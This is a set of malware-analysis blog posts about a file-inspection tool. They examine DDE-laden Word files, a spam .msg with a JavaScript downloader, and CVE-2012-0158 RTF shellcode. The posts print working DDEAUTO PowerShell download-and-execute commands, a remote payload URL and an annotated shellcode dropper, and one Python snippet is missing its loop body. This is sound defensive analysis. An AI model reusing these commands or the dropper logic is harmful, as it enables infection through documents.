Microsoft Office DDE Detection

In this article we’re not going to discuss how DDE works, there are plenty of excellent resources about this topic already (also here and here).

Instead we’re going to see how to inspect DDE field codes in Profiler. In fact, the upcoming 2.9 version of Profiler comes with detection of DDE field codes.

So let’s start by opening a modern Word document (.docx).

We can see that the main document.xml is highlighted as malicious. If we open the file, we’ll see that Profiler informs us about a possible DDE attack.

The actual DDE code is spread among the XML and makes it difficult for us to read.


So let’s use two actions to clean it up. Press Ctrl+R to execute the XML->To text action.

Followed by the Text->Strip one.

Once done, we’ll obtain the following text:

DDEAUTO c:\ \Windows\ \ System32\ \ cmd.exe “/ k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( ‘ DDE 2 .ps1’);powershell -e $e ” !Unexpected End of Formula

Which is pretty clear: it downloads a PowerShell script from a URL and then executes it.

Now let’s look at an old-school Word document (.doc).

In this case it’s even easier for us to inspect the DDE code as clicking on the threat immediately brings us to it.

By copying the ascii text from the hex view or executing the Conversion->Bytes to text action we’ll obtain the following code:

DDEAUTO c:\\Windows\\System32\\cmd.exe “/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source “” -Destination “index.js” & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js”

Which downloads a Windows JS script and executes it.

Now let’s go back to a modern office sample. In this particular case the DDE code is obfuscated as explained in two of the articles linked in the beginning.

The XML is full of this QUOTE-followed-by-decimal-numbers syntax.

				SET c
				SET d

Since the strings are inside XML attributes, we can’t use the XML->To text action. Instead, we just clean it up manually as there are only 3 of these QUOTES.

SET c  QUOTE  67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35
       QUOTE  97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110
	   QUOTE  116 114 121 32 97 103 97 105 110 32 108 97 116 101 114

Out of this, we can make a small Python script to convert the numbers to a hex string and print it out to the console:

s = "67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35 97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110 116 114 121 32 97 103 97 105 110 32 108 97 116 101 114"
l = s.split(" ")
l2 = list()
for n in l:
    if n.strip():
b = bytearray(l2)
import binascii
b = binascii.hexlify(b)

Then we simply select the hex string and run the action Conversion->Hex string to bytes.

And now we can see the decoded bytes in hex view.

This is the DDE code:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘’);powershell -enc $e #a slow internet connectiontry again later

Yet again it downloads a PowerShell script and executes it.

Pretty simple!

Malware in a MSG

Even though sending malware via zipped attachments in spam emails is nothing new and had been around for eons but many people are still puzzled at how it works. Thus, I will go through with you on how to do it with Profiler. I will try to fill in required information about where to look out for information and how decode some of the information.

Firstly, we are going to learn how are a bit about the .msg file format and how is it used to store a message object in a .msg file, which then can be shared between clients or message stores that use the file system.

From an investigator’s point of view, you should always analyze the .msg file without installing Outlook. In order to analyze the .msg file without Outlook, we can read more about the file format from:


The purpose of this post is to give a better technical understanding of how attackers makes use spam emails to spread malware.

[ Sample used in the analysis ]
MD5: BC1DF9947B9CF27B2A826E3B68C897B4
SHA256: C7AC39F8240268099EC49A3A4FF76174A50F1906BBB40AE6F88425AF303A44BB
Sample: Sample

[ Part 1 : Getting Started ]
For those who want to follow along, this is a link to the .msg file. Do note, this is a MALICIOUS file, so please do the analysis in a “safe” environment. The password to the attachment is “infected29A

Now, let’s start getting our hands dirty…and open the suspicious .msg file.

The msg file is already flagged by Profiler, as it contains some suspicious features.
Each “__substg” contains valuable pieces of information. The first four of the eight digits at the end tells you what kind of information it is (Property). The last four digits tells you the type (binary, ascii, Unicode, etc)

  • 0x007d: Message header
  • 0x0C1A: Sender name
  • 0x0C1F: Sender email
  • 0x0E1D: Subject (normalized)
  • 0x1000: Message body

[ Part 2 : Email investigation ]
If we are interested in email investigation, let’s check out the following file, “__substg1.0_0C1F001F”.

As we can see below, the sender’s email address is “
But is it really sent from Netherlands?

Well, let’s check out the message header located in “__substg1.0_007D001F” to verify that.

If we were to do through the message header, do a whois on “” and check out the MX server. We can confirm that the sender is spoofing email as well.

From the message header, we can conclude that the sender sent the email from “” as shown in the image and the extracted message header as shown below.

    Received: from [] ([])
    by (8.14.4/8.13.8) with ESMTP id u44L8X41032666
    for <>; Thu, 5 May 2016 06:08:35 +0900

Whois information showed that IP address where this spam email is sent from is from Vietnam.
But it doesn’t mean that the attacker is from Vietnam. Anyone in the world can buy web hosting services in Vietnam. This is just to let you know that the attacker is definitely not sending from “

[ Part 3 : Email investigation ]
Using this information opening the “__substg1.0_0E1D001F” file and we can see the subject, “Re:

Hmmmm…this doesn’t look any useful at all. Let’s try opening the file, “__substg1.0_1000001F”, containing the “subject body” instead.

      “Hi, info

Please find attached document you requested. The attached file is your account balance and transactions history.

Muriel Quinn”

Awesome, Muriel Quinn is sending me my account balance and transactions history which I may or may not have requested at all. Awesome, he is also attaching the files to the email just for me. This is definitely suspicious to me.

[ Part 4 : Email attachment ]
Now that we are interested in the attachments, let’s look at “Root Entry/__attach_version1.0_#00000000” and refer to the specifications again.

  • //Attachments (37xx):
  • 0x3701: Attachment data
  • 0x3703: Attach extension
  • 0x3704: Attach filename
  • 0x3707: Attach long filenm
  • 0x370E: Attach mime tag

If we were to look at “__substg1.0_3704001F”, we will see that the filename of the attachment is called “” and the display name “__substg1.0_3001001F” of the attachment is called “”.

Now let’s look at the actual data located within “__substg1.0_37010102” as shown below.

Now, let’s press “Ctrl+A” to select the entire contents. Then copy it into a new file as shown in the image below.

But as we can see on the left, Profiler can identify what is inside the attachment. There are 3 Javascript files inside the .zip file.

Now let’s fire up “New Text View” and copy the contents of “transactions 774219.js” as shown below.

Press “Ctrl+R” and select “Beautify JavaScript” and Profiler will “JSBeautify” it for you. But let’s add some “Colouring” to it by doing “Right-click -> Language -> JavaScript” as shown below.

We can use Profiler to debug the JavaScript but I shall leave that as an exercise for the readers.
The decoded JavaScript will look something like this.

As we can see from the image above, it is downloading from “http://infograffo[.]com[.]br/lkdd9ikfds” and saving it as “ew3FbUdAB.exe” in the victims’ TEMP directory.

We won’t be going through on reversing the malware.

In the meantime, we hope you enjoyed reading this and would be happy to receive your feedback!

CVE-2012-0158: RTF/OLE/CFBF/PE

Since support for the RTF file format has been added very recently with the version 0.9.4 of the Profiler, it’s a good idea to test it against real malware. I downloaded a pack of RTFs from and as I promised in the last post chose a more recent vulnerability: CVE-2012-0158. The reason why I picked a certain RTF from the pack is because most of the RTFs were automatically recognized and analyzed by the Profiler, while the following sample offers us a chance for some nice interactive analysis.

Unidentifed RTF

The first problem as you can see from the screenshot is that the RTF is not being automatically identified as such. That is because the signature is incomplete: the last two letters are missing. The next version of the Profiler will improve the detection in this regard. However, we can easily load it as RTF ourselves.

RTF foreign data

The RTF contains a lot of foreign data (meaning data which is not part of the RTF itself). Looking at the pattern an educate guess would be that it’s an encrypted payload.

The OLE stream contained in the RTF is flagged as containing possible shellcode. The Profiler detects it correctly. However, it’s actually the object embedded in the OLE stream which contains the shellcode. But wait, there’s no embedded object visible. This is because the extraction of the object failed, since the format of the OLE stream (which is undocumented) is different than usual. This is not a problem, we can just as easily load the object ourselves as the signature is easily recognizable.

Embedded CFBF

This last step was not strictly necessary, since we had already a detected shellcode in the OLE stream, but it increases the completeness of the analysis.

Since this is the header of the OLE stream:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  01 05 00 00 02 00 00 00   1B 00 00 00 4D 53 43 6F     ............MSCo
00000010  6D 63 74 6C 4C 69 62 2E   4C 69 73 74 56 69 65 77     mctlLib.ListView
00000020  43 74 72 6C                                           Ctrl            

Another educated guess would be that this is the component affected by the vulnerability. Let’s go back to the detected shellcode.

Detected shellcode

The initial instructions make sense and the following ones not. Let’s take a closer look.

00000920:  nop 
00000921:  nop 
00000922:  nop 
00000923:  nop 
00000924:  jmp 0x936
00000926:  pop edx
00000927:  dec edx
00000928:  xor ecx, ecx
0000092A:  mov cx, 0x2da
0000092E:  xor byte ptr [edx+ecx*1], 0xee
00000932:  loop 0x92e
00000934:  jmp 0x93b
00000936:  call 0x926

This portion of code is easily recognizable as being a decryption loop for the code that follows. This is usually implemented to avoid detection. Didn’t work this time.

Let’s select the encrypted shellcode.

Encrypted shellcode

And decrypt it with the xor filter. We can confirm the correctness of the decryption by adding the ‘disasm/x86‘ filter.

Decrypted shellcode disasm

Back to the decrypted bytes, we use the script presented in the previous post to create an executable from the shellcode.

Shellcode to executable

A quick analysis with the help of the debugger.

00001000:  mov ebp, esp                           ; init
00001002:  sub esp, 0x280
00001008:  mov dword ptr [ebp-0x44], 0x27a3b
0000100F:  mov dword ptr [ebp-0x50], 0x1c400
00001016:  mov dword ptr [ebp-0x5c], 0x8e00
0000101D:  jmp 0x12c1

00001022:  pop ebx                                ; ebx = address of DATA               
00001023:  mov dword ptr [ebp-0x4c], ebx
00001026:  call 0x1250                            ; retrieves base of kernel32.dll
0000102B:  mov dword ptr [ebp], eax
0000102E:  mov ebx, eax
00001030:  push ebx
00001031:  push 0x5b8aca33
00001036:  call 0x1269                            ; retrieves address of GetTempPathA
0000103B:  mov dword ptr [ebp-0x4], eax
0000103E:  push ebx
0000103F:  push 0xbfc7034f
00001044:  call 0x1269                            ; retrieves address of SetCurrentDirectoryA
00001049:  mov dword ptr [ebp-0x8], eax
0000104C:  push ebx
0000104D:  push 0x7c0017a5
00001052:  call 0x1269                            ; retrieves address of CreateFileA
00001057:  mov dword ptr [ebp-0x38], eax
0000105A:  push ebx
0000105B:  push 0xdf7d9bad
00001060:  call 0x1269                            ; retrieves address of GetFileSize
00001065:  mov dword ptr [ebp-0x10], eax
00001068:  push ebx
00001069:  push 0x76da08ac
0000106E:  call 0x1269                            ; retrieves address of SetFilePointer
00001073:  mov dword ptr [ebp-0x14], eax
00001076:  push ebx
00001077:  push 0x10fa6516
0000107C:  call 0x1269                            ; retrieves address of ReadFile
00001081:  mov dword ptr [ebp-0x18], eax
00001084:  push ebx
00001085:  push 0xe80a791f
0000108A:  call 0x1269                            ; retrieves address of WriteFile
0000108F:  mov dword ptr [ebp-0x1c], eax
00001092:  push ebx
00001093:  push 0xffd97fb
00001098:  call 0x1269                            ; retrieves address of CloseHandle
0000109D:  mov dword ptr [ebp-0x20], eax
000010A0:  push ebx
000010A1:  push 0xc0397ec
000010A6:  call 0x1269                            ; retrieves address of GlobalAlloc
000010AB:  mov dword ptr [ebp-0x24], eax
000010AE:  push ebx
000010AF:  push 0x45b06d76
000010B4:  call 0x1269                            ; retrieves address of GetModuleFileNameA
000010B9:  mov dword ptr [ebp-0x28], eax
000010BC:  push ebx
000010BD:  push 0x7cb922f6
000010C2:  call 0x1269                            ; retrieves address of GlobalFree
000010C7:  mov dword ptr [ebp-0x2c], eax
000010CA:  push ebx
000010CB:  push 0x73e2d87e
000010D0:  call 0x1269                            ; retrieves address of ExitProcess
000010D5:  mov dword ptr [ebp-0x30], eax
000010D8:  push ebx
000010D9:  push 0xe8afe98
000010DE:  call 0x1269                            ; retrieves address of WinExec
000010E3:  mov dword ptr [ebp-0x34], eax
000010E6:  push ebx
000010E7:  push 0x78b5b983
000010EC:  call 0x1269                            ; retrieves address of TerminateProcess
000010F1:  mov dword ptr [ebp-0x84], eax
000010F7:  and dword ptr [ebp-0x48], 0x100
000010FE:  add dword ptr [ebp-0x48], 0x4          ; increment handle
00001102:  push 0x0
00001104:  push dword ptr [ebp-0x48]
00001107:  call dword ptr [ebp-0x10]              ; GetFileSize
0000110A:  cmp eax, dword ptr [ebp-0x44]          ; compares with 0x27A3B -> 162363 own file size
0000110D:  jnz 0x10fe                             ; repeat loop if it doesn't match

0000110F:  push 0x0                               ; dwMoveMethod = FILE_BEGIN
00001111:  push 0x0                               ; lpDistanceToMoveHigh
00001113:  push 0x283b                            ; lDistanceToMove
00001118:  push dword ptr [ebp-0x48]              ; hFile
0000111B:  call dword ptr [ebp-0x14]              ; SetFilePointer
0000111E:  push 0x636f64
00001123:  push 0x2e726f57                        ; pushes the string Wor.doc on the stack
00001128:  mov dword ptr [ebp-0x68], esp          ; saves string location
0000112B:  lea ebx, ptr [ebp-0x100]
00001131:  push ebx                               ; lpBuffer
00001132:  push 0x100                             ; nBufferLength
00001137:  call dword ptr [ebp-0x4]               ; GetTempPathA
0000113A:  push ebx                               ; lpPathName
0000113B:  call dword ptr [ebp-0x8]               ; SetCurrentDirectory
0000113E:  push 0x0                               ; hTemplateFile
00001140:  push 0x6                               ; dwFlagsAndAttributes = SYSTEM | HIDDEN
00001142:  push 0x2                               ; dwCreationDisposition
00001144:  push 0x0                               ; lpSecurityAttributes
00001146:  push 0x3                               ; dwShareMode
00001148:  push 0x40000000                        ; dwDesiredAccess
0000114D:  push dword ptr [ebp-0x4c]              ; lpFileName = WORD.exe (from DATA)
00001150:  call dword ptr [ebp-0x38]              ; CreateFileA
00001153:  mov dword ptr [ebp-0x54], eax          ; file handle
00001156:  mov eax, dword ptr [ebp-0x50]          ; eax = 0x1c400
00001159:  cmp eax, dword ptr [ebp-0x5c]          ; compare with 0x8e00
0000115C:  jnbe 0x1161                            ; allocate the biggest size: eax = max(0x1c400, 0x8e00)
0000115E:  mov eax, dword ptr [ebp-0x5c]
00001161:  push eax                               ; dwBytes
00001162:  push 0x40                              ; uFlags = GMEM_ZEROINIT
00001164:  call dword ptr [ebp-0x24]              ; GlobalAlloc
00001167:  mov dword ptr [ebp-0x60], eax          ; allocated memory
0000116A:  xchg esi, eax
0000116B:  push 0x0                               ; lpOverlapped
0000116D:  lea edx, ptr [ebp-0x64]
00001170:  push edx                               ; lpNumberOfBytesRead
00001171:  push dword ptr [ebp-0x50]              ; nNumberOfBytesToRead = 0x1c400
00001174:  push esi                               ; lpBuffer = allocated memory
00001175:  push dword ptr [ebp-0x48]              ; hFile
00001178:  call dword ptr [ebp-0x18]              ; ReadFile
0000117B:  mov ecx, dword ptr [ebp-0x50]          ; ecx = size
0000117E:  call 0x123d                            ; decrypts executable
00001183:  push 0x0                               ; lpOverlapped
00001185:  lea edx, ptr [ebp-0x64]
00001188:  push edx                               ; lpNumberOfBytesWritten
00001189:  push dword ptr [ebp-0x50]              ; nNumberOfBytesToWrite
0000118C:  push esi                               ; lpBuffer
0000118D:  push dword ptr [ebp-0x54]              ; hFile
00001190:  call dword ptr [ebp-0x1c]              ; WriteFile
00001193:  push dword ptr [ebp-0x54]              ; hObject
00001196:  call dword ptr [ebp-0x20]              ; CloseHandle
00001199:  push 0x0                               ; uCmdShow
0000119B:  push dword ptr [ebp-0x4c]              ; lpCmdLine = WORD.exe
0000119E:  call dword ptr [ebp-0x34]              ; WinExec
000011A1:  push 0x0                               ; dwMoveMethod = FILE_BEGIN
000011A3:  push 0x0                               ; lpDistanceToMoveHigh
000011A5:  push 0x1ec3b                           ; lDistanceToMove
000011AA:  push dword ptr [ebp-0x48]              ; hFile = own file handle
000011AD:  call dword ptr [ebp-0x14]              ; SetFilePointer
000011B0:  push 0x0                               ; hTemplateFile
000011B2:  push 0x80                              ; dwFlagsAndAttributes
000011B7:  push 0x2                               ; dwCreationDisposition
000011B9:  push 0x0                               ; lpSecurityAttributes
000011BB:  push 0x0                               ; dwShareMode
000011BD:  push 0x40000000                        ; dwDesiredAccess
000011C2:  push dword ptr [ebp-0x68]              ; lpFileName = Wor.doc
000011C5:  call dword ptr [ebp-0x38]              ; CreateFileA
000011C8:  mov dword ptr [ebp-0x54], eax          ; new file handle
000011CB:  push 0x0                               ; lpOverlapped
000011CD:  lea edx, ptr [ebp-0x64]
000011D0:  push edx                               ; lpNumberOfBytesRead
000011D1:  push dword ptr [ebp-0x5c]              ; nNumberOfBytesToRead = 0x8e00
000011D4:  push dword ptr [ebp-0x60]              ; lpBuffer = allocated memory
000011D7:  push dword ptr [ebp-0x48]              ; hFile
000011DA:  call dword ptr [ebp-0x18]              ; ReadFile
000011DD:  mov esi, dword ptr [ebp-0x60]
000011E0:  mov ecx, dword ptr [ebp-0x5c]          ; ecx = 0x8e00
000011E3:  call 0x123d                            ; decrypts doc
000011E8:  mov esi, dword ptr [ebp-0x60]
000011EB:  push 0x0                               ; lpOverlapped
000011ED:  lea edx, ptr [ebp-0x64]
000011F0:  push edx                               ; lpNumberOfBytesWritten
000011F1:  push dword ptr [ebp-0x5c]              ; nNumberOfBytesToWrite
000011F4:  push esi                               ; lpBuffer
000011F5:  push dword ptr [ebp-0x54]              ; hFile
000011F8:  call dword ptr [ebp-0x1c]              ; WriteFile
000011FB:  push dword ptr [ebp-0x54]              ; hObject
000011FE:  call dword ptr [ebp-0x20]              ; CloseHandle
00001201:  push dword ptr [ebp-0x48]              ; hObject
00001204:  call dword ptr [ebp-0x20]              ; CloseHandle
00001207:  push 0x100                             ; nSize
0000120C:  lea ebx, ptr [ebp-0x100]
00001212:  push ebx                               ; lpFilename
00001213:  push 0x0                               ; hModule
00001215:  call dword ptr [ebp-0x28]              ; GetModuleFileNameA
00001218:  mov esi, ebx                           ; strlen
0000121A:  inc esi
0000121B:  cmp byte ptr [esi], 0x0
0000121E:  jnz 0x121a
00001220:  mov edi, esi
00001222:  mov byte ptr [edi], 0x20               ; appends ' '
00001225:  inc edi
00001226:  mov esi, dword ptr [ebp-0x68]          ; appends Wor.doc
00001229:  mov ecx, 0x16
0000122E:  rep movsd dword ptr [edi], dword ptr [esi]
00001230:  push 0x5                               ; uCmdShow
00001232:  push ebx                               ; lpCmdLine = current exe name + " Wor.doc"
00001233:  call dword ptr [ebp-0x34]              ; WinExec
00001236:  xor eax, eax
00001238:  push eax                               ; uExitCode
00001239:  call dword ptr [ebp-0x30]              ; ExitProcess

; decrypts payload
0000123D:  pushad 
0000123E:  mov edi, esi
00001240:  lodsb byte ptr [esi]
00001241:  cmp al, 0x0
00001243:  jz 0x124b
00001245:  cmp al, 0xfc
00001247:  jz 0x124b
00001249:  xor al, 0xfc
0000124B:  stosb byte ptr [edi]
0000124C:  loop 0x1240
0000124E:  popad 
0000124F:  ret 

; retrieves base of kernel32.dll
00001250:  push esi    
00001251:  mov ebx, dword ptr fs:[0x30]
00001258:  mov ebx, dword ptr [ebx+0xc]
0000125B:  mov ebx, dword ptr [ebx+0x14]
0000125E:  mov ebx, dword ptr [ebx]
00001260:  mov ebx, dword ptr [ebx]
00001262:  mov eax, dword ptr [ebx+0x10]
00001265:  pop esi
00001266:  ret 0x4

; retrieves address of API
00001269:  push ebx
0000126A:  push ebp
0000126B:  push esi
0000126C:  push edi
0000126D:  mov ebp, dword ptr [esp+0x18]
00001271:  mov eax, dword ptr [ebp+0x3c]
00001274:  mov edx, dword ptr [ebp+eax*1+0x78]
00001278:  add edx, ebp
0000127A:  mov ecx, dword ptr [edx+0x18]
0000127D:  mov ebx, dword ptr [edx+0x20]
00001280:  add ebx, ebp
00001282:  jecxz 0x12b6
00001284:  dec ecx
00001285:  mov esi, dword ptr [ebx+ecx*4]
00001288:  add esi, ebp
0000128A:  xor edi, edi
0000128C:  cld 
0000128D:  xor eax, eax
0000128F:  lodsb byte ptr [esi]
00001290:  cmp al, ah
00001292:  jz 0x129b
00001294:  ror edi, 0xd
00001297:  add edi, eax
00001299:  jmp 0x128d
0000129B:  cmp edi, dword ptr [esp+0x14]
0000129F:  jnz 0x1282
000012A1:  mov ebx, dword ptr [edx+0x24]
000012A4:  add ebx, ebp
000012A6:  mov cx, word ptr [ebx+ecx*2]
000012AA:  mov ebx, dword ptr [edx+0x1c]
000012AD:  add ebx, ebp
000012AF:  mov eax, dword ptr [ebx+ecx*4]
000012B2:  add eax, ebp
000012B4:  jmp 0x12b8
000012B6:  xor eax, eax
000012B8:  mov edx, ebp
000012BA:  pop edi
000012BB:  pop esi
000012BC:  pop ebp
000012BD:  pop ebx
000012BE:  ret 0x8

000012C1:  call 0x1022


Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

000002C0                    57 4F   52 44 2E 65 78 65 00 00           WORD.exe..
000002D0  00 00 00 00 00 00 00 00   00 00                       ..........      

The debugger was necessary only to check which APIs are retrieved by the shellcode and from there static analysis was easy. To sum up the shellcode decrypts two files, an executable and a doc file, executes the first directly and opens the second with the same program which is executing the shellcode.

From the shellcode we can retrieve the ranges of the encrypted payloads:

offset: 0x283b size: 0x1c400
offset: 0x1ec3b size: 0x8e00

Embedded payloads

Now we can open the encrypted payloads and apply the simple decryption code.

Payload decryption

from Pro.UI import proContext, ProView

view = proContext().getCurrentView()
if view.isValid() and view.type() == ProView.Type_Hex:
    b = view.readBytes(0, view.getSize())
    for x in range(len(b)):
        if b[x] != 0 and b[x] != 0xFC:
            b[x] = b[x] ^ 0xFC

We save the decrypted payloads to disk. In the near future this won’t be necessary as such a filter will be easily created and used to load files inside the workspace of the Profiler itself.

We can use the safe text preview of Word Documents in the Profiler to view the text of the document opened by the shellcode.

DOC preview

From the text it seems to be directed at something gov: “My Esteemed Colleagues; Members of the Board of Governors of the Indian Business Chamber in Vietnam”.

The reason for opening the second document is clearly that the instance of the original program which ran the shellcode would’ve crashed and was therefore terminated cleanly with ExitProcess by the shellcode itself. Spawning a second instance with a clean document doesn’t make the user suspicious, from his point of view he just opened a document and a document has indeed been opened.

The executable is not protected by any means and so it’s just a matter of opening it with IDA Pro and spend a few hours understanding the whole code. But that’s beyond the scope of this demonstration.


The upcoming version 0.9.2 of the Profiler adds previews for various things: images (all supported formats), several Portable Executable resources and Office Word Documents (text-only).

PE resources preview

Since media elements are rendered through third-party code, the Profiler displays a warning box before actually rendering a media element.

Preview warning

The ‘Allow all’ button allows media elements for the current session only. If the Profiler is running in a safe environment (like a VM), the user can decide to permanently disable the warning box and allow all media elements.

Preview settings

Last but not least, text-only preview of Office Word Documents has been introduced. This allows users to safely inspect the text content of a document without processing the file with an official viewer which could be the target of exploits.

Office document preview

While there are already enough new features to release, some smaller additions will be squeezed into 0.9.2 during the next days. Stay tuned!

Profiler 0.8.2 Demo

The first evaluation version of the Profiler is available.
SHA1: F1CA1B8B1BAE51977EE0BE827DC13E2E17BD81A3

Please note that the demo is subject to limitations:

  • only standard .doc files are supported (not even other Office file types)
  • embedded and referenced files can’t be inspected
  • only single file analysis is available
  • although the action system is working, some actions are not available

But now let’s see what features it does offer.

Demo 0

The file report and the hex view along with marked ranges.

Demo 1

The extraction of metadata.

Demo 2

The extraction of VBA code is also available.

Demo 3

And, of course, the inspection of the CFBF file format itself.

Demo 4

Other common features are also available. Enjoy!

MicroType Express

MicroType Express is the (optional) compression technology used by Embedded OpenType fonts. It was specifically designed to compress TrueType fonts. These fonts are generally to be found in web pages or Office documents.

Internet Explorer with EOT fonts

In this screenshot we have Internet Explorer displaying fonts download from remote. It is very easy to embed fonts in a web page.

@font-face {
    font-family: Piefont;
    font-style:  normal;
    font-weight: normal;
    src: url(PIE0.eot);
@font-face {
    font-family: GS;
    font-style:  normal;
    font-weight: normal;
    src: url(GOUDYST2.eot);
  @font-face {
    font-family: Garabold;
    font-style:  normal;
    font-weight: 700;
    src: url(GARAMON5.eot);
  @font-face {
    font-family: Garanorm;
    font-style:  normal;
    font-weight: normal;
    src: url(GARAMON4.eot);
  @font-face {
    font-family: Script;
    font-style:  normal;
    font-weight: normal;
    src: url(SCRIPTM2.eot);

What happens when Internet Explorer tries to open EOT fonts is that it loads T2Embed.dll from the System32 directory.

T2Embed DLL

The job of this DLL is to convert EOT fonts back to the original OpenType format which is then parsed and displayed. Thus, EOT fonts are subject to exploits either in their MicroType Express layer or in the resulting OpenType font. In fact, lzcomp, the custom compression algorithm based on lz77 used by MicroType Express, has been exploited as a vector for remote code execution. It should be noted that the vulnerability has been reported in 2010 and the W3 submission by Microsoft of the MicroType Express standard is dated 2008. The lzcomp decompression code contained in the W3 submission does not include the patches introduced after the vulnerability was reported (I checked). So while probably few will use the code anyway, they should be careful to add safety checks in order to not include the above mentioned vulnerability in their own code.

While already with version 0.7.6 the Profiler had support for uncompressed Embedded OpenType fonts, only with the upcoming 0.7.7 version a partial support for MicroType Express has been added. I say partial because, although the embedded OpenType font gets completely decompressed, only the glyf and loca tables out of those which are deconstructed are rebuilded in order to allow the disassembling of bytecode. Tables which are not yet rebuilded are: cvt, hdmx and VDMX. The use of the T2Embed.dll for conversion was not an option, since it doesn’t fit with the Profiler safety standards.

Word doc with fonts

This is a Word Document containing Embedded OpenType fonts.:)

MSI support

Even though CAB file support is still under development, the CFBF parser already lets us inspect Windows Installer packages and patches.

MSI streams

Having such feature comes in handy when you want to analyse their contents, and eliminates the need for external tools.

In the screenshot above, I’ve selected one of the DLLs that link to MSI custom actions, i.e. code that is potentially executed as soon as Windows Installer opens the package.

The security of non-exec files

This article is based on a speech I gave couple of months ago at DeepSec. I wrote it during the summer, which means I would now expand on some of the paragraphs. Nonetheless, I hope you’ll enjoy the read.


As we know there’s has been a huge increase of malware attacks carried out with files other than executable ones. I’m aware that this is a very generic definition. If we consider a PDF with JavaScript stored inside, would you call it an executable? Probably you wouldn’t, although the script might be executed. Even saying that an executable can only be a file which contains native machine code isn’t accurate. A .NET assembly which contains only managed code would still be considered an executable. But a Shockwave Flash file (with its SWF extension) may not be regarded as standing in the same category. Of course, a Shockwave Flash file is not the same thing as a .NET assembly, but they both contain byte code which at some point is converted into machine code and is executed.

This means that the barriers between executable and non-executable files are thin and in many cases there’s a problem of perception, hence the difficulty of giving this article a completely accurate title. A more appropriate one would have been: the security of all those files generally perceived as harmless or, at least, less dangerous than applications. You may guess why I opted for the other title.

Does this look infected? (no, I’m talking about the file)

This is the most feared issue. How can a non-exec file infect a system? Basically through:

  • Scripting or byte code
  • Shellcode (buffer overflows)
  • Dangerous format features

These vectors are the most common for infection.

Scripting and byte code (security α 1/functionality)

Many file types offer the capability to execute code. However, a distinction has to be drawn between those file formats which offer it just as an additional feature and those formats which completely rely on it.

Shockwave Flash has been a very popular infection vector thanks to its powerful byte code. While it may be apparent even to an unskilled user that a Flash game on the internet is a sort of application, it’s not as apparent under other circumstances.

Very often playing a video in a web browser involves Flash. And I’ve heard many users referring to this as “Flash videos”. They don’t know that what actually happens is that a Flash file is downloaded and its ActionScript code executed.

Download the PDF to continue the reading.